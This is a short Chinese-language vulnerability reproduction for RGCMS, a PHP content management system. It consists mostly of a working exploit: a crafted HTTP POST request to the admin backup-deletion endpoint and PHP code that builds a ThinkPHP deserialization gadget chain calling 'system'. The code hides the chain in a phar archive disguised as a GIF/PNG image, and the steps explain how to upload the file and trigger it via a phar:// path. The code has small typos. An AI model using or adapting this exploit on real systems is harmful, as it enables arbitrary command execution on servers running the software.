RGCMS存在反序列化漏洞，攻击者可以通过该漏洞执行任意命令。
"RGCMS"POST /admin.php/data/delbackup HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 212
Origin: http://rgcms:81
Connection: close
Referer: http://rgcms:81/admin.php/data/backuplist
Cookie: PHPSESSID=us9vfbgeh2i9c5kcp7h27ii8ns
Priority: u=0
title=20240820110529_rgcms.db&path=phar://upload/image/20240820/2057e04b4b2d528ed7726d233fc87191.png&children=&mtime=2024-08-20+11%3A05%3A29&size=1.09MB&type=file&ext=db&isReadable=true&isWritable=true&edit=false漏洞复现
生成phar文件
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");
public function get()
{
$this->data = array("smi1e" => "calc");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = newthink\model\Pivot();
$a = new think\process\pipes\Windows($conver);
$phar = new Phar('hkey.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
}
?>把hkey.phar文件名修改为hkey.png
安装时RGCMS时选择数据库类型为：Sqlite
上传恶意的png文件：
来到备份修复功能
将数据包中path参数修改为
phar://upload/image/20240820/2057e04b4b2d528ed7726d233fc87191.png
